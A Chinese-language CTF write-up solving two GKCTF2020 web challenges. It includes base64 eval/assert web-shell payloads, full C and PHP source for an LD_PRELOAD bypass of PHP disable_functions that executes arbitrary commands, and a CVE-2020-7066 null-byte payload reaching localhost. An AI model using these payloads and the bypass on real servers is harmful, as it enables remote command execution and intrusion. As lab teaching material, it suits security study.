[GKCTF2020]CheckIN
打開網頁是一串PHP代碼
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
剛開始還以爲是反序列化的題目,但是仔細想來想去這裏也沒得反序列化的函數,就有些懵逼,開始分析代碼
這裏首先定義了一個類ClassName
類裏面有兩個變量,整的挺花裏胡哨,首先類調用了一個x函數,x函數返回的是我們傳入的get和post請求,然後將$_REQUEST
(php中$_REQUEST可以獲取以POST方法和GET方法提交的數據)數組裏的以Ginkgo爲鍵名的值賦值給類裏的code變量
@
在這裏是個什麼意思呢?(@表示@符號後的語句如果有錯誤會忽略,不會提示,因爲php運行時會有些錯誤,一些提醒的錯誤,如果用@那麼這條語句有錯誤的也不會有提示),然後將類中的code變量的值進行base64解碼賦值給類中的decode變量,最後eval函數執行decode中的值。
整那麼多花裏胡哨的,最終想表達的意思就是
<?php
$code = $_REQUEST['Ginkgo'];
@eval(base64_decode($code));
?>
這一看就是個命令執行
首先執行個phpinfo看看?
/?Ginkgo=cGhwaW5mbygpOw==
PHP版本7.3.18
那麼下一步當然是看disable_functions啦
可以看到能用的全給禁了,不過還有個assert函數和eval函數
這裏給兩個payload:
echo base64_encode('$a="assert";$a(eval($_POST["a"]));');
echo base64_encode('eval($_POST["a"]);');
既然有shell了
那麼蟻劍上
注:這裏蟻劍自帶base64加密
看這個readflag似曾相識
拖到IDA中 F5查看僞代碼
這裏可以cat /flag,那麼我們看看終端。
打開終端cat /flag
用不了 那就繞唄
引進一個知識點
bypass-disable-functions
bypass_disable_functions這位大佬講的很清晰
簡而言之就是編寫一個和系統同名的函數,使之在調用系統真正函數之前調用編寫的惡意函數,達到繞過disable_functions
那麼LD_PRELOAD又是什麼呢?
LD_PRELOAD,是個環境變量,用於動態庫的加載,動態庫加載的優先級最高,一般情況下,其加載順序爲LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我們經常要調用一些外部庫的函數,以open()和execve()爲例,如果我們有個自定義這兩函數,把它編譯成動態庫後,通過LD_PRELOAD加載,當程序中調用open函數時,調用的其實是我們自定義的函數
但是我們又需要寫入到環境變量,那麼php中的putenv函數可以解決我們的問題
bypass.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ; //獲取環境變量
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = getenv("EVIL_CMDLINE");
//獲取EVIL_CMDLINE的值
int i;
//從環境變量中遍歷“LD_PRELOAD”的位置,並將其值設爲NULL。
//從而使下面的system()正常執行。
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// 執行命令
system(cmdline);
}
編譯
gcc -shared -fPIC bypass.c -o bypass_x64.so
bypass.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); //設置EVIL_CMDLINE環境變量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); //加載惡意動態庫
mail("", "", "", ""); //利用mail函數觸發惡意函數,跳轉至__attribute__ ((__constructor__))修飾的函數。
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
這兩個文件需要上傳至/tmp/目錄下
故最終payload:
http://833117ab-80b8-49a9-816f-0bafbb279f2a.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX0dFVFsiYSJdKTs=&a=include(%27/tmp/bypass.php%27);&cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so
[GKCTF2020]cve版簽到
hint:cve-2020-7066
baidu查了一下發現是get_headers($url)函數中的內容可以被%00截斷
而題目要求只能訪問*.ctfhub.com
故我們可以構造payload:
/?url=http://127.0.0.1%00www.ctfhub.com
end必須是123
那麼構造
/?url=http://127.0.0.123%00www.ctfhub.com
即可得到flag